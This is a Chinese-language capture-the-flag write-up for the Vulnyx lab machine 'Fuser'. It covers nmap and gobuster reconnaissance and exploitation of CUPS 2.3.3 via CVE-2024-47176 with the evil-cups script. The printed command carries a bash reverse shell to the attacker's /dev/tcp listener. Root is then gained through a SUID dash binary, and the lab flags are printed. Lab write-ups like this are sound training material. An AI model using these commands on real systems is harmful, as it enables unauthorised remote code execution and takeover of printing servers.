Vlx_Fuser

靶机来源:https://vulnyx.com/

难度:Low

一、信息收集

1、主机探测

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(root㉿kali)-[~/miaosec]
└─# nmap -sn 192.168.2.0/24
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-04 14:57 +0800
Nmap scan report for 192.168.2.1
Host is up (0.00067s latency).
MAC Address: 0A:00:27:00:00:08 (Unknown)
Nmap scan report for 192.168.2.2
Host is up (0.00050s latency).
MAC Address: 08:00:27:26:AF:F0 (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.2.79
Host is up (0.0022s latency).
MAC Address: 08:00:27:5D:30:3A (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.2.4
Host is up.
Nmap done: 256 IP addresses (4 hosts up) scanned in 3.04 seconds

靶机IP:192.168.2.79

2、端口扫描

1.全端口扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(root㉿kali)-[~/miaosec]
└─# nmap --min-rate 10000 -p- 192.168.2.79
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-04 14:58 +0800
Nmap scan report for 192.168.2.79
Host is up (0.00052s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
631/tcp open ipp
MAC Address: 08:00:27:5D:30:3A (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 7.45 seconds

开放端口:22、80、631

2.详细信息扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
┌──(root㉿kali)-[~/miaosec]
└─# nmap --min-rate 10000 -sT -sC -sV -O -p22,80,631 192.168.2.79
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-04 14:58 +0800
Nmap scan report for 192.168.2.79
Host is up (0.0012s latency).

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u2 (protocol 2.0)
| ssh-hostkey:
| 3072 f0:e6:24:fb:9e:b0:7a:1a:bd:f7:b1:85:23:7f:b1:6f (RSA)
| 256 99:c8:74:31:45:10:58:b0:ce:cc:63:b4:7a:82:57:3d (ECDSA)
|_ 256 60:da:3e:31:38:fa:b5:49:ab:48:c3:43:2c:9f:d1:32 (ED25519)
80/tcp open http Apache httpd 2.4.56 ((Debian))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.56 (Debian)
631/tcp open ipp CUPS 2.3
|_http-title: Inicio - CUPS 2.3.3op2
|_http-server-header: CUPS/2.3 IPP/2.1
| http-robots.txt: 1 disallowed entry
|_/
MAC Address: 08:00:27:5D:30:3A (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.89 seconds

3.udp扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(root㉿kali)-[~/miaosec]
└─# nmap -sU --top-ports 100 192.168.2.79
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-04 14:59 +0800
Nmap scan report for 192.168.2.79
Host is up (0.0029s latency).
Not shown: 97 closed udp ports (port-unreach)
PORT STATE SERVICE
68/udp open|filtered dhcpc
631/udp open|filtered ipp
5353/udp open zeroconf
MAC Address: 08:00:27:5D:30:3A (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 116.97 seconds

二、WEB渗透

1、80端口

访问80端口,没有有用的信息

1
2
3
4
5
6
7
8
9
┌──(root㉿kali)-[~/miaosec]
└─# curl http://192.168.2.79
<html>
<body>
<h1>It works!</h1>
<p>This is the default web page for this server.</p>
<p>The web server software is running but no content has been added, yet.</p>
</body>
</html>

目录扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
┌──(root㉿kali)-[~/miaosec]
└─# gobuster dir -u http://192.168.2.79 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,js,bak
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.2.79
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8.2
[+] Extensions: php,html,js,bak
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
index.html (Status: 200) [Size: 187]
server-status (Status: 403) [Size: 277]
Progress: 1102790 / 1102790 (100.00%)
===============================================================
Finished
===============================================================

2、631端口

访问631端口,是一个开源的打印系统CUPS img

三、CVE-2024-47176

CUPS2.3.3存在一个CVE漏洞,当cups-browsed进程监听(默认631端口)接收UDP数据包时,攻击者可构造恶意请求,在无需认证的情况下可能在受害者机器上执行任意命令,控制服务器。漏洞实际是否可利用和触发需要依赖具体环境(例如存在打印任务等) https://github.com/0x7556/CVE-2024-47176

利用exp: https://github.com/IppSec/evil-cups

使用exp反弹shell

1
2
3
4
5
6
7
8
┌──(myenv)─(root㉿kali)-[~/miaosec/CVE-2024-47176/evil-cups]
└─# python3 evilcups.py 192.168.2.4 192.168.2.80 "bash -c 'bash -i >& /dev/tcp/192.168.2.4/443 0>&1'"
IPP Server Listening on ('192.168.2.4', 12345)
Sending udp packet to 192.168.2.80:631...
Please wait this normally takes 30 seconds...
0 elapsed
target connected, sending payload ...
9 elapsed

点击打印机 img

打印测试页 img

成功获取到shell

1
2
3
4
5
6
7
8
9
┌──(root㉿kali)-[~/miaosec]
└─# nc -lvnp 443
listening on [any] 443 ...
connect to [192.168.2.4] from (UNKNOWN) [192.168.2.79] 50718
bash: cannot set terminal process group (616): Inappropriate ioctl for device
bash: no job control in this shell
lp@fuser:/$ id
id
uid=7(lp) gid=7(lp) groups=7(lp)

四、权限提升

查看suid文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
find / -perm -4000 2>/dev/null
/usr/bin/dash
/usr/bin/mount
/usr/bin/su
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/chsh
/usr/bin/umount
/usr/bin/passwd
/usr/bin/newgrp
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/libexec/polkit-agent-helper-1
lp@fuser:/$ /usr/bin/dash -p

直接利用/usr/bin/dash进行提权

1
2
3
/usr/bin/dash -p
id
uid=7(lp) gid=7(lp) euid=0(root) groups=7(lp)

五、查看FLAG

1
2
3
cat /root/root.txt /home/toner/user.txt
fe82ce45606fc67448677e4218931a77
523ac6c4f33201cec8e933042dd37ba

Vlx_Fuser
http://miao-sec.github.io/Vulnyx/Vlx_Fuser/
作者
Miao
发布于
2026年3月4日
许可协议
BY-MIAO